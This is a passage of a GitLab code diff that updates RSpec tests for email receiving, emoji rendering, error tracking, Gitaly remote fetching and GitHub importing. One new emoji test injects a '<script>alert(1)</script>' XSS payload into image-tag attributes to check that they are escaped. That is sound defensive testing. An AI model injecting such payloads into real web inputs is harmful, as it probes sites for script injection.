@@ -4,8 +4,9 @@ require 'spec_helper'
RSpec.describe Gitlab::Email::Message::InProductMarketing::Verify do
let_it_be(:group) { build(:group) }
+ let_it_be(:user) { build(:user) }
- subject(:message) { described_class.new(group: group, series: series)}
+ subject(:message) { described_class.new(group: group, user: user, series: series)}
describe "public methods" do
context 'with series 0' do
diff --git a/spec/lib/gitlab/email/receiver_spec.rb b/spec/lib/gitlab/email/receiver_spec.rb
index 9b05c12ef57..2c1fe529a5d 100644
--- a/spec/lib/gitlab/email/receiver_spec.rb
+++ b/spec/lib/gitlab/email/receiver_spec.rb
@@ -5,9 +5,13 @@ require 'spec_helper'
RSpec.describe Gitlab::Email::Receiver do
include_context :email_shared_context
- shared_examples 'correctly finds the mail key' do
- specify do
+ shared_examples 'correctly finds the mail key and adds metric event' do
+ let(:metric_transaction) { double('Gitlab::Metrics::WebTransaction') }
+
+ specify :aggregate_failures do
expect(Gitlab::Email::Handler).to receive(:for).with(an_instance_of(Mail::Message), 'gitlabhq/gitlabhq+auth_token').and_return(handler)
+ expect(::Gitlab::Metrics::BackgroundTransaction).to receive(:current).and_return(metric_transaction)
+ expect(metric_transaction).to receive(:add_event).with(handler.metrics_event, handler.metrics_params)
receiver.execute
end
@@ -30,7 +34,7 @@ RSpec.describe Gitlab::Email::Receiver do
context 'when in a Delivered-To header' do
let(:email_raw) { fixture_file('emails/forwarded_new_issue.eml') }
- it_behaves_like 'correctly finds the mail key'
+ it_behaves_like 'correctly finds the mail key and adds metric event'
it 'parses the metadata' do
expect(metadata[:delivered_to]). to eq(["incoming+gitlabhq/gitlabhq+auth_token@appmail.example.com", "support@example.com"])
@@ -40,7 +44,7 @@ RSpec.describe Gitlab::Email::Receiver do
context 'when in an Envelope-To header' do
let(:email_raw) { fixture_file('emails/envelope_to_header.eml') }
- it_behaves_like 'correctly finds the mail key'
+ it_behaves_like 'correctly finds the mail key and adds metric event'
it 'parses the metadata' do
expect(metadata[:envelope_to]). to eq(["incoming+gitlabhq/gitlabhq+auth_token@appmail.example.com"])
@@ -50,7 +54,7 @@ RSpec.describe Gitlab::Email::Receiver do
context 'when in an X-Envelope-To header' do
let(:email_raw) { fixture_file('emails/x_envelope_to_header.eml') }
- it_behaves_like 'correctly finds the mail key'
+ it_behaves_like 'correctly finds the mail key and adds metric event'
it 'parses the metadata' do
expect(metadata[:x_envelope_to]). to eq(["incoming+gitlabhq/gitlabhq+auth_token@appmail.example.com"])
@@ -60,7 +64,7 @@ RSpec.describe Gitlab::Email::Receiver do
context 'when enclosed with angle brackets in an Envelope-To header' do
let(:email_raw) { fixture_file('emails/envelope_to_header_with_angle_brackets.eml') }
- it_behaves_like 'correctly finds the mail key'
+ it_behaves_like 'correctly finds the mail key and adds metric event'
end
end
diff --git a/spec/lib/gitlab/emoji_spec.rb b/spec/lib/gitlab/emoji_spec.rb
index ada37f25d1e..8f855489c12 100644
--- a/spec/lib/gitlab/emoji_spec.rb
+++ b/spec/lib/gitlab/emoji_spec.rb
@@ -91,7 +91,16 @@ RSpec.describe Gitlab::Emoji do
it 'returns emoji image tag' do
emoji_image = described_class.emoji_image_tag('emoji_one', 'src_url')
- expect(emoji_image).to eq( "<img class='emoji' title=':emoji_one:' alt=':emoji_one:' src='src_url' height='20' width='20' align='absmiddle' />")
+ expect(emoji_image).to eq("<img class=\"emoji\" src=\"src_url\" title=\":emoji_one:\" alt=\":emoji_one:\" height=\"20\" width=\"20\" align=\"absmiddle\" />")
+ end
+
+ it 'escapes emoji image attrs to prevent XSS' do
+ xss_payload = "<script>alert(1)</script>"
+ escaped_xss_payload = html_escape(xss_payload)
+
+ emoji_image = described_class.emoji_image_tag(xss_payload, 'http://aaa#' + xss_payload)
+
+ expect(emoji_image).to eq("<img class=\"emoji\" src=\"http://aaa##{escaped_xss_payload}\" title=\":#{escaped_xss_payload}:\" alt=\":#{escaped_xss_payload}:\" height=\"20\" width=\"20\" align=\"absmiddle\" />")
end
end
diff --git a/spec/lib/gitlab/error_tracking/processor/context_payload_processor_spec.rb b/spec/lib/gitlab/error_tracking/processor/context_payload_processor_spec.rb
index 584eadb24a7..210829056c8 100644
--- a/spec/lib/gitlab/error_tracking/processor/context_payload_processor_spec.rb
+++ b/spec/lib/gitlab/error_tracking/processor/context_payload_processor_spec.rb
@@ -4,7 +4,15 @@ require 'spec_helper'
RSpec.describe Gitlab::ErrorTracking::Processor::ContextPayloadProcessor do
describe '.call' do
- let(:event) { Raven::Event.new(payload) }
+ let(:required_options) do
+ {
+ configuration: Raven.configuration,
+ context: Raven.context,
+ breadcrumbs: Raven.breadcrumbs
+ }
+ end
+
+ let(:event) { Raven::Event.new(required_options.merge(payload)) }
let(:result_hash) { described_class.call(event).to_hash }
before do
diff --git a/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb b/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb
index 727b603feda..6076e525f06 100644
--- a/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb
+++ b/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb
@@ -4,7 +4,15 @@ require 'spec_helper'
RSpec.describe Gitlab::ErrorTracking::Processor::GrpcErrorProcessor do
describe '.call' do
- let(:event) { Raven::Event.from_exception(exception, data) }
+ let(:required_options) do
+ {
+ configuration: Raven.configuration,
+ context: Raven.context,
+ breadcrumbs: Raven.breadcrumbs
+ }
+ end
+
+ let(:event) { Raven::Event.from_exception(exception, required_options.merge(data)) }
let(:result_hash) { described_class.call(event).to_hash }
context 'when there is no GRPC exception' do
diff --git a/spec/lib/gitlab/error_tracking/processor/sidekiq_processor_spec.rb b/spec/lib/gitlab/error_tracking/processor/sidekiq_processor_spec.rb
index c8a362fcf05..af5f11c9362 100644
--- a/spec/lib/gitlab/error_tracking/processor/sidekiq_processor_spec.rb
+++ b/spec/lib/gitlab/error_tracking/processor/sidekiq_processor_spec.rb
@@ -95,7 +95,15 @@ RSpec.describe Gitlab::ErrorTracking::Processor::SidekiqProcessor do
end
describe '.call' do
- let(:event) { Raven::Event.new(wrapped_value) }
+ let(:required_options) do
+ {
+ configuration: Raven.configuration,
+ context: Raven.context,
+ breadcrumbs: Raven.breadcrumbs
+ }
+ end
+
+ let(:event) { Raven::Event.new(required_options.merge(wrapped_value)) }
let(:result_hash) { described_class.call(event).to_hash }
context 'when there is Sidekiq data' do
diff --git a/spec/lib/gitlab/error_tracking_spec.rb b/spec/lib/gitlab/error_tracking_spec.rb
index b3293e6473c..7ad1f52780a 100644
--- a/spec/lib/gitlab/error_tracking_spec.rb
+++ b/spec/lib/gitlab/error_tracking_spec.rb
@@ -204,23 +204,6 @@ RSpec.describe Gitlab::ErrorTracking do
expect(sentry_event.dig('extra', 'sql')).to eq('SELECT "users".* FROM "users" WHERE "users"."id" = $2 AND "users"."foo" = $1')
end
-
- context 'when SQL cannot be parsed' do
- let(:pg12_query) do
- <<-SQL
- CREATE INDEX CONCURRENTLY my_index ON merge_requests
- USING btree (target_project_id) INCLUDE (id, latest_merge_request_diff_id)
- SQL
- end
-
- let(:exception) { ActiveRecord::StatementInvalid.new(sql: pg12_query) }
-
- it 'injects the raw sql query into extra' do
- track_exception
-
- expect(sentry_event.dig('extra', 'sql')).to eq(pg12_query)
- end
- end
end
context 'when the `ActiveRecord::StatementInvalid` is wrapped in another exception' do
diff --git a/spec/lib/gitlab/etag_caching/middleware_spec.rb b/spec/lib/gitlab/etag_caching/middleware_spec.rb
index 3122a3b1c07..c4da89e5f5c 100644
--- a/spec/lib/gitlab/etag_caching/middleware_spec.rb
+++ b/spec/lib/gitlab/etag_caching/middleware_spec.rb
@@ -33,7 +33,6 @@ RSpec.describe Gitlab::EtagCaching::Middleware, :clean_gitlab_redis_shared_state
expect(headers['ETag']).to be_nil
expect(headers['X-Gitlab-From-Cache']).to be_nil
- expect(headers[::Gitlab::Metrics::RequestsRackMiddleware::FEATURE_CATEGORY_HEADER]).to be_nil
end
it 'passes status code from app' do
@@ -41,6 +40,12 @@ RSpec.describe Gitlab::EtagCaching::Middleware, :clean_gitlab_redis_shared_state
expect(status).to eq app_status_code
end
+
+ it 'does not set feature category attribute' do
+ expect(Gitlab::ApplicationContext).not_to receive(:push)
+
+ _, _, _ = middleware.call(build_request(path, if_none_match))
+ end
end
context 'when there is no ETag in store for given resource' do
@@ -164,8 +169,15 @@ RSpec.describe Gitlab::EtagCaching::Middleware, :clean_gitlab_redis_shared_state
it 'sets correct headers' do
_, headers, _ = middleware.call(build_request(path, if_none_match))
- expect(headers).to include('X-Gitlab-From-Cache' => 'true',
- ::Gitlab::Metrics::RequestsRackMiddleware::FEATURE_CATEGORY_HEADER => 'issue_tracking')
+ expect(headers).to include('X-Gitlab-From-Cache' => 'true')
+ end
+
+ it "pushes route's feature category to the context" do
+ expect(Gitlab::ApplicationContext).to receive(:push).with(
+ feature_category: 'issue_tracking'
+ )
+
+ _, _, _ = middleware.call(build_request(path, if_none_match))
end
it_behaves_like 'sends a process_action.action_controller notification', 304
diff --git a/spec/lib/gitlab/experimentation/controller_concern_spec.rb b/spec/lib/gitlab/experimentation/controller_concern_spec.rb
index 5419a01ea3e..7a619c9f155 100644
--- a/spec/lib/gitlab/experimentation/controller_concern_spec.rb
+++ b/spec/lib/gitlab/experimentation/controller_concern_spec.rb
@@ -196,9 +196,12 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
end
describe '#track_experiment_event', :snowplow do
+ let(:user) { build(:user) }
+
context 'when the experiment is enabled' do
before do
stub_experiment(test_experiment: true)
+ allow(controller).to receive(:current_user).and_return(user)
end
context 'the user is part of the experimental group' do
@@ -213,7 +216,8 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
category: 'Team',
action: 'start',
property: 'experimental_group',
- value: 1
+ value: 1,
+ user: user
)
end
end
@@ -230,7 +234,8 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
category: 'Team',
action: 'start',
property: 'control_group',
- value: 1
+ value: 1,
+ user: user
)
end
end
@@ -247,7 +252,8 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
category: 'Team',
action: 'start',
property: 'control_group',
- value: 1
+ value: 1,
+ user: user
)
end
end
@@ -280,7 +286,8 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
action: 'start',
property: 'control_group',
value: 1,
- label: Digest::MD5.hexdigest('abc')
+ label: Digest::MD5.hexdigest('abc'),
+ user: user
)
end
@@ -294,7 +301,8 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
action: 'start',
property: 'control_group',
value: 1,
- label: Digest::MD5.hexdigest('somestring')
+ label: Digest::MD5.hexdigest('somestring'),
+ user: user
)
end
end
@@ -313,7 +321,8 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
action: 'start',
property: 'control_group',
value: 1,
- label: cookies.permanent.signed[:experimentation_subject_id]
+ label: cookies.permanent.signed[:experimentation_subject_id],
+ user: user
)
end
end
diff --git a/spec/lib/gitlab/file_hook_spec.rb b/spec/lib/gitlab/file_hook_spec.rb
index 7f40d9ae772..4fc55f7ad7e 100644
--- a/spec/lib/gitlab/file_hook_spec.rb
+++ b/spec/lib/gitlab/file_hook_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe Gitlab::FileHook do
let(:file_hook_source) do
<<~EOS
#!/usr/bin/env ruby
- x = STDIN.read
+ x = $stdin.read
File.write('#{tmp_file.path}', x)
EOS
end
diff --git a/spec/lib/gitlab/git/conflict/resolver_spec.rb b/spec/lib/gitlab/git/conflict/resolver_spec.rb
new file mode 100644
index 00000000000..2783e955c33
--- /dev/null
+++ b/spec/lib/gitlab/git/conflict/resolver_spec.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Git::Conflict::Resolver do
+ let(:repository) { instance_double(Gitlab::Git::Repository) }
+ let(:our_commit_oid) { 'our-commit-oid' }
+ let(:their_commit_oid) { 'their-commit-oid' }
+ let(:gitaly_conflicts_client) { instance_double(Gitlab::GitalyClient::ConflictsService) }
+
+ subject(:resolver) { described_class.new(repository, our_commit_oid, their_commit_oid) }
+
+ describe '#conflicts' do
+ before do
+ allow(repository).to receive(:gitaly_conflicts_client).and_return(gitaly_conflicts_client)
+ end
+
+ it 'returns list of conflicts' do
+ conflicts = [double]
+
+ expect(gitaly_conflicts_client).to receive(:list_conflict_files).and_return(conflicts)
+ expect(resolver.conflicts).to eq(conflicts)
+ end
+
+ context 'when GRPC::FailedPrecondition is raised' do
+ it 'rescues and raises Gitlab::Git::Conflict::Resolver::ConflictSideMissing' do
+ expect(gitaly_conflicts_client).to receive(:list_conflict_files).and_raise(GRPC::FailedPrecondition)
+ expect { resolver.conflicts }.to raise_error(Gitlab::Git::Conflict::Resolver::ConflictSideMissing)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/git/remote_repository_spec.rb b/spec/lib/gitlab/git/remote_repository_spec.rb
index 84c17234ae4..c7bc81573a6 100644
--- a/spec/lib/gitlab/git/remote_repository_spec.rb
+++ b/spec/lib/gitlab/git/remote_repository_spec.rb
@@ -58,45 +58,4 @@ RSpec.describe Gitlab::Git::RemoteRepository, :seed_helper do
it { expect(subject.same_repository?(other_repository)).to eq(result) }
end
end
-
- describe '#fetch_env' do
- let(:remote_repository) { described_class.new(repository) }
-
- let(:gitaly_client) { double(:gitaly_client) }
- let(:address) { 'fake-address' }
- let(:token) { 'fake-token' }
-
- subject { remote_repository.fetch_env }
-
- before do
- allow(remote_repository).to receive(:gitaly_client).and_return(gitaly_client)
-
- expect(gitaly_client).to receive(:address).with(repository.storage).and_return(address)
- expect(gitaly_client).to receive(:token).with(repository.storage).and_return(token)
- end
-
- it { expect(subject).to be_a(Hash) }
- it { expect(subject['GITALY_ADDRESS']).to eq(address) }
- it { expect(subject['GITALY_TOKEN']).to eq(token) }
- it { expect(subject['GITALY_WD']).to eq(Dir.pwd) }
-
- it 'creates a plausible GIT_SSH_COMMAND' do
- git_ssh_command = subject['GIT_SSH_COMMAND']
-
- expect(git_ssh_command).to start_with('/')
- expect(git_ssh_command).to end_with('/gitaly-ssh upload-pack')
- end
-
- it 'creates a plausible GITALY_PAYLOAD' do
- req = Gitaly::SSHUploadPackRequest.decode_json(subject['GITALY_PAYLOAD'])
-
- expect(remote_repository.gitaly_repository).to eq(req.repository)
- end
-
- context 'when the token is blank' do
- let(:token) { '' }
-
- it { expect(subject.keys).not_to include('GITALY_TOKEN') }
- end
- end
end
diff --git a/spec/lib/gitlab/git/repository_spec.rb b/spec/lib/gitlab/git/repository_spec.rb
index 1ddbdda12b5..336bf20d59c 100644
--- a/spec/lib/gitlab/git/repository_spec.rb
+++ b/spec/lib/gitlab/git/repository_spec.rb
@@ -133,32 +133,10 @@ RSpec.describe Gitlab::Git::Repository, :seed_helper do
expect(metadata['ArchivePrefix']).to eq(expected_prefix)
end
- context 'when :include_lfs_blobs_in_archive feature flag is disabled' do
- let(:expected_path) { File.join(storage_path, cache_key, expected_filename) }
+ it 'sets ArchivePath to the expected globally-unique path' do
+ expect(expected_path).to include(File.join(repository.gl_repository, SeedRepo::LastCommit::ID))
- before do
- stub_feature_flags(include_lfs_blobs_in_archive: false)
- end
-
- it 'sets ArchivePath to the expected globally-unique path' do
- # This is really important from a security perspective. Think carefully
- # before changing it: https://gitlab.com/gitlab-org/gitlab-foss/issues/45689
- expect(expected_path).to include(File.join(repository.gl_repository, SeedRepo::LastCommit::ID))
-
- expect(metadata['ArchivePath']).to eq(expected_path)
- end
- end
-
- context 'when :include_lfs_blobs_in_archive feature flag is enabled' do
- before do
- stub_feature_flags(include_lfs_blobs_in_archive: true)
- end
-
- it 'sets ArchivePath to the expected globally-unique path' do
- expect(expected_path).to include(File.join(repository.gl_repository, SeedRepo::LastCommit::ID))
-
- expect(metadata['ArchivePath']).to eq(expected_path)
- end
+ expect(metadata['ArchivePath']).to eq(expected_path)
end
context 'path is set' do
@@ -521,7 +499,9 @@ RSpec.describe Gitlab::Git::Repository, :seed_helper do
no_tags: true,
timeout: described_class::GITLAB_PROJECTS_TIMEOUT,
prune: false,
- check_tags_changed: false
+ check_tags_changed: false,
+ url: nil,
+ refmap: nil
}
expect(repository.gitaly_repository_client).to receive(:fetch_remote).with('remote-name', expected_opts)
diff --git a/spec/lib/gitlab/git_access_spec.rb b/spec/lib/gitlab/git_access_spec.rb
index 3d6c04fd484..96a44575e24 100644
--- a/spec/lib/gitlab/git_access_spec.rb
+++ b/spec/lib/gitlab/git_access_spec.rb
@@ -731,6 +731,8 @@ RSpec.describe Gitlab::GitAccess do
context 'when LFS is not enabled' do
it 'does not run LFSIntegrity check' do
+ allow(project).to receive(:lfs_enabled?).and_return(false)
+
expect(Gitlab::Checks::LfsIntegrity).not_to receive(:new)
push_access_check
@@ -1004,10 +1006,10 @@ RSpec.describe Gitlab::GitAccess do
expect { access.check('git-receive-pack', changes) }.not_to exceed_query_limit(control_count).with_threshold(2)
end
- it 'raises TimeoutError when #check_single_change_access raises a timeout error' do
+ it 'raises TimeoutError when #check_access! raises a timeout error' do
message = "Push operation timed out\n\nTiming information for debugging purposes:\nRunning checks for ref: wow"
- expect_next_instance_of(Gitlab::Checks::ChangeAccess) do |check|
+ expect_next_instance_of(Gitlab::Checks::SingleChangeAccess) do |check|
expect(check).to receive(:validate!).and_raise(Gitlab::Checks::TimedLogger::TimeoutError)
end
diff --git a/spec/lib/gitlab/gitaly_client/remote_service_spec.rb b/spec/lib/gitlab/gitaly_client/remote_service_spec.rb
index 70fc4fe4416..df9dde324a5 100644
--- a/spec/lib/gitlab/gitaly_client/remote_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/remote_service_spec.rb
@@ -38,47 +38,26 @@ RSpec.describe Gitlab::GitalyClient::RemoteService do
let(:remote) { 'origin' }
let(:url) { 'http://git.example.com/my-repo.git' }
let(:auth) { 'Basic secret' }
+ let(:expected_params) { { remote_url: url, http_authorization_header: auth } }
- shared_examples 'a find_remote_root_ref call' do
- it 'sends an find_remote_root_ref message and returns the root ref' do
- expect_any_instance_of(Gitaly::RemoteService::Stub)
- .to receive(:find_remote_root_ref)
- .with(gitaly_request_with_path(storage_name, relative_path), kind_of(Hash))
- .with(gitaly_request_with_params(expected_params), kind_of(Hash))
- .and_return(double(ref: 'master'))
-
- expect(client.find_remote_root_ref(remote, url, auth)).to eq 'master'
- end
-
- it 'ensure ref is a valid UTF-8 string' do
- expect_any_instance_of(Gitaly::RemoteService::Stub)
- .to receive(:find_remote_root_ref)
- .with(gitaly_request_with_path(storage_name, relative_path), kind_of(Hash))
- .with(gitaly_request_with_params(expected_params), kind_of(Hash))
- .and_return(double(ref: "an_invalid_ref_\xE5"))
-
- expect(client.find_remote_root_ref(remote, url, auth)).to eq "an_invalid_ref_Ã¥"
- end
- end
-
- context 'with inmemory feature enabled' do
- before do
- stub_feature_flags(find_remote_root_refs_inmemory: true)
- end
+ it 'sends an find_remote_root_ref message and returns the root ref' do
+ expect_any_instance_of(Gitaly::RemoteService::Stub)
+ .to receive(:find_remote_root_ref)
+ .with(gitaly_request_with_path(storage_name, relative_path), kind_of(Hash))
+ .with(gitaly_request_with_params(expected_params), kind_of(Hash))
+ .and_return(double(ref: 'master'))
- it_behaves_like 'a find_remote_root_ref call' do
- let(:expected_params) { { remote_url: url, http_authorization_header: auth } }
- end
+ expect(client.find_remote_root_ref(remote, url, auth)).to eq 'master'
end
- context 'with inmemory feature disabled' do
- before do
- stub_feature_flags(find_remote_root_refs_inmemory: false)
- end
+ it 'ensure ref is a valid UTF-8 string' do
+ expect_any_instance_of(Gitaly::RemoteService::Stub)
+ .to receive(:find_remote_root_ref)
+ .with(gitaly_request_with_path(storage_name, relative_path), kind_of(Hash))
+ .with(gitaly_request_with_params(expected_params), kind_of(Hash))
+ .and_return(double(ref: "an_invalid_ref_\xE5"))
- it_behaves_like 'a find_remote_root_ref call' do
- let(:expected_params) { { remote: remote } }
- end
+ expect(client.find_remote_root_ref(remote, url, auth)).to eq "an_invalid_ref_Ã¥"
end
end
diff --git a/spec/lib/gitlab/gitaly_client/repository_service_spec.rb b/spec/lib/gitlab/gitaly_client/repository_service_spec.rb
index 26ec194a2e7..56c8fe20eca 100644
--- a/spec/lib/gitlab/gitaly_client/repository_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/repository_service_spec.rb
@@ -122,67 +122,89 @@ RSpec.describe Gitlab::GitalyClient::RepositoryService do
end
describe '#fetch_remote' do
- let(:remote) { 'remote-name' }
-
- it 'sends a fetch_remote_request message' do
- expected_request = gitaly_request_with_params(
- remote: remote,
- ssh_key: '',
- known_hosts: '',
- force: false,
- no_tags: false,
- no_prune: false,
- check_tags_changed: false
- )
+ shared_examples 'a fetch' do
+ it 'sends a fetch_remote_request message' do
+ expected_remote_params = Gitaly::Remote.new(
+ url: url, http_authorization_header: "", mirror_refmaps: [])
+
+ expected_request = gitaly_request_with_params(
+ remote: remote,
+ remote_params: url ? expected_remote_params : nil,
+ ssh_key: '',
+ known_hosts: '',
+ force: false,
+ no_tags: false,
+ no_prune: false,
+ check_tags_changed: false
+ )
+
+ expect_any_instance_of(Gitaly::RepositoryService::Stub)
+ .to receive(:fetch_remote)
+ .with(expected_request, kind_of(Hash))
+ .and_return(double(value: true))
+
+ client.fetch_remote(remote, url: url, refmap: nil, ssh_auth: nil, forced: false, no_tags: false, timeout: 1, check_tags_changed: false)
+ end
- expect_any_instance_of(Gitaly::RepositoryService::Stub)
- .to receive(:fetch_remote)
- .with(expected_request, kind_of(Hash))
- .and_return(double(value: true))
+ context 'SSH auth' do
+ where(:ssh_mirror_url, :ssh_key_auth, :ssh_private_key, :ssh_known_hosts, :expected_params) do
+ false | false | 'key' | 'known_hosts' | {}
+ false | true | 'key' | 'known_hosts' | {}
+ true | false | 'key' | 'known_hosts' | { known_hosts: 'known_hosts' }
+ true | true | 'key' | 'known_hosts' | { ssh_key: 'key', known_hosts: 'known_hosts' }
+ true | true | 'key' | nil | { ssh_key: 'key' }
+ true | true | nil | 'known_hosts' | { known_hosts: 'known_hosts' }
+ true | true | nil | nil | {}
+ true | true | '' | '' | {}
+ end
- client.fetch_remote(remote, ssh_auth: nil, forced: false, no_tags: false, timeout: 1, check_tags_changed: false)
+ with_them do
+ let(:ssh_auth) do
+ double(
+ :ssh_auth,
+ ssh_mirror_url?: ssh_mirror_url,
+ ssh_key_auth?: ssh_key_auth,
+ ssh_private_key: ssh_private_key,
+ ssh_known_hosts: ssh_known_hosts
+ )
+ end
+
+ it do
+ expected_remote_params = Gitaly::Remote.new(
+ url: url, http_authorization_header: "", mirror_refmaps: [])
+
+ expected_request = gitaly_request_with_params({
+ remote: remote,
+ remote_params: url ? expected_remote_params : nil,
+ ssh_key: '',
+ known_hosts: '',
+ force: false,
+ no_tags: false,
+ no_prune: false
+ }.update(expected_params))
+
+ expect_any_instance_of(Gitaly::RepositoryService::Stub)
+ .to receive(:fetch_remote)
+ .with(expected_request, kind_of(Hash))
+ .and_return(double(value: true))
+
+ client.fetch_remote(remote, url: url, refmap: nil, ssh_auth: ssh_auth, forced: false, no_tags: false, timeout: 1)
+ end
+ end
+ end
end
- context 'SSH auth' do
- where(:ssh_mirror_url, :ssh_key_auth, :ssh_private_key, :ssh_known_hosts, :expected_params) do
- false | false | 'key' | 'known_hosts' | {}
- false | true | 'key' | 'known_hosts' | {}
- true | false | 'key' | 'known_hosts' | { known_hosts: 'known_hosts' }
- true | true | 'key' | 'known_hosts' | { ssh_key: 'key', known_hosts: 'known_hosts' }
- true | true | 'key' | nil | { ssh_key: 'key' }
- true | true | nil | 'known_hosts' | { known_hosts: 'known_hosts' }
- true | true | nil | nil | {}
- true | true | '' | '' | {}
+ context 'with remote' do
+ it_behaves_like 'a fetch' do
+ let(:remote) { 'remote-name' }
+ let(:url) { nil }
end
+ end
- with_them do
- let(:ssh_auth) do
- double(
- :ssh_auth,
- ssh_mirror_url?: ssh_mirror_url,
- ssh_key_auth?: ssh_key_auth,
- ssh_private_key: ssh_private_key,
- ssh_known_hosts: ssh_known_hosts
- )
- end
-
- it do
- expected_request = gitaly_request_with_params({
- remote: remote,
- ssh_key: '',
- known_hosts: '',
- force: false,
- no_tags: false,
- no_prune: false
- }.update(expected_params))
-
- expect_any_instance_of(Gitaly::RepositoryService::Stub)
- .to receive(:fetch_remote)
- .with(expected_request, kind_of(Hash))
- .and_return(double(value: true))
-
- client.fetch_remote(remote, ssh_auth: ssh_auth, forced: false, no_tags: false, timeout: 1)
- end
+ context 'with URL' do
+ it_behaves_like 'a fetch' do
+ let(:remote) { "" }
+ let(:url) { 'https://example.com/git/repo.git' }
end
end
end
diff --git a/spec/lib/gitlab/gitaly_client_spec.rb b/spec/lib/gitlab/gitaly_client_spec.rb
index a8d42f4bccf..16f75691288 100644
--- a/spec/lib/gitlab/gitaly_client_spec.rb
+++ b/spec/lib/gitlab/gitaly_client_spec.rb
@@ -33,14 +33,6 @@ RSpec.describe Gitlab::GitalyClient do
it { expect(subject.long_timeout).to eq(6.hours) }
end
- context 'running in Unicorn' do
- before do
- allow(Gitlab::Runtime).to receive(:unicorn?).and_return(true)
- end
-
- it { expect(subject.long_timeout).to eq(55) }
- end
-
context 'running in Puma' do
before do
allow(Gitlab::Runtime).to receive(:puma?).and_return(true)
diff --git a/spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb b/spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb
index 8a7867f3841..133d515246a 100644
--- a/spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb
@@ -3,7 +3,8 @@
require 'spec_helper'
RSpec.describe Gitlab::GithubImport::Importer::PullRequestsImporter do
- let(:project) { create(:project, import_source: 'foo/bar') }
+ let(:url) { 'https://github.com/foo/bar.git' }
+ let(:project) { create(:project, import_source: 'foo/bar', import_url: url) }
let(:client) { double(:client) }
let(:pull_request) do
@@ -147,14 +148,10 @@ RSpec.describe Gitlab::GithubImport::Importer::PullRequestsImporter do
end
end
- describe '#update_repository' do
+ shared_examples '#update_repository' do
it 'updates the repository' do
importer = described_class.new(project, client)
- expect(project.repository)
- .to receive(:fetch_remote)
- .with('github', forced: false)
-
expect_next_instance_of(Gitlab::Import::Logger) do |logger|
expect(logger)
.to receive(:info)
@@ -173,6 +170,28 @@ RSpec.describe Gitlab::GithubImport::Importer::PullRequestsImporter do
end
end
+ describe '#update_repository with :fetch_remote_params enabled' do
+ before do
+ stub_feature_flags(fetch_remote_params: true)
+ expect(project.repository)
+ .to receive(:fetch_remote)
+ .with('github', forced: false, url: url, refmap: Gitlab::GithubImport.refmap)
+ end
+
+ it_behaves_like '#update_repository'
+ end
+
+ describe '#update_repository with :fetch_remote_params disabled' do
+ before do
+ stub_feature_flags(fetch_remote_params: false)
+ expect(project.repository)
+ .to receive(:fetch_remote)
+ .with('github', forced: false)
+ end
+
+ it_behaves_like '#update_repository'
+ end
+
describe '#update_repository?' do
let(:importer) { described_class.new(project, client) }
diff --git a/spec/lib/gitlab/github_import/importer/pull_requests_reviews_importer_spec.rb b/spec/lib/gitlab/github_import/importer/pull_requests_reviews_importer_spec.rb
index f18064f10aa..08be350f0f9 100644
--- a/spec/lib/gitlab/github_import/importer/pull_requests_reviews_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/pull_requests_reviews_importer_spec.rb
@@ -27,30 +27,100 @@ RSpec.describe Gitlab::GithubImport::Importer::PullRequestsReviewsImporter do
end
describe '#each_object_to_import', :clean_gitlab_redis_cache do
- it 'fetchs the merged pull requests data' do
- merge_request = create(
- :merged_merge_request,
- iid: 999,
- source_project: project,
- target_project: project
- )
-
- review = double
-
- expect(review)
- .to receive(:merge_request_id=)
- .with(merge_request.id)
-
- allow(client)
- .to receive(:pull_request_reviews)
- .exactly(:once) # ensure to be cached on the second call
- .with('github/repo', merge_request.iid)
- .and_return([review])
-
- expect { |b| subject.each_object_to_import(&b) }
- .to yield_with_args(review)
-
- subject.each_object_to_import {}
+ context 'when github_review_importer_query_only_unimported_merge_requests is enabled' do
+ before do
+ stub_feature_flags(github_review_importer_query_only_unimported_merge_requests: true)
+ end
+
+ let(:merge_request) do
+ create(
+ :merged_merge_request,
+ iid: 999,
+ source_project: project,
+ target_project: project
+ )
+ end
+
+ let(:review) { double(id: 1) }
+
+ it 'fetches the pull requests reviews data' do
+ page = double(objects: [review], number: 1)
+
+ expect(review)
+ .to receive(:merge_request_id=)
+ .with(merge_request.id)
+
+ expect(client)
+ .to receive(:each_page)
+ .exactly(:once) # ensure to be cached on the second call
+ .with(:pull_request_reviews, 'github/repo', merge_request.iid, page: 1)
+ .and_yield(page)
+
+ expect { |b| subject.each_object_to_import(&b) }
+ .to yield_with_args(review)
+
+ subject.each_object_to_import {}
+ end
+
+ it 'skips cached pages' do
+ Gitlab::GithubImport::PageCounter
+ .new(project, "merge_request/#{merge_request.id}/pull_request_reviews")
+ .set(2)
+
+ expect(review).not_to receive(:merge_request_id=)
+
+ expect(client)
+ .to receive(:each_page)
+ .exactly(:once) # ensure to be cached on the second call
+ .with(:pull_request_reviews, 'github/repo', merge_request.iid, page: 2)
+
+ subject.each_object_to_import {}
+ end
+
+ it 'skips cached merge requests' do
+ Gitlab::Cache::Import::Caching.set_add(
+ "github-importer/merge_request/already-imported/#{project.id}",
+ merge_request.id
+ )
+
+ expect(review).not_to receive(:merge_request_id=)
+
+ expect(client).not_to receive(:each_page)
+
+ subject.each_object_to_import {}
+ end
+ end
+
+ context 'when github_review_importer_query_only_unimported_merge_requests is disabled' do
+ before do
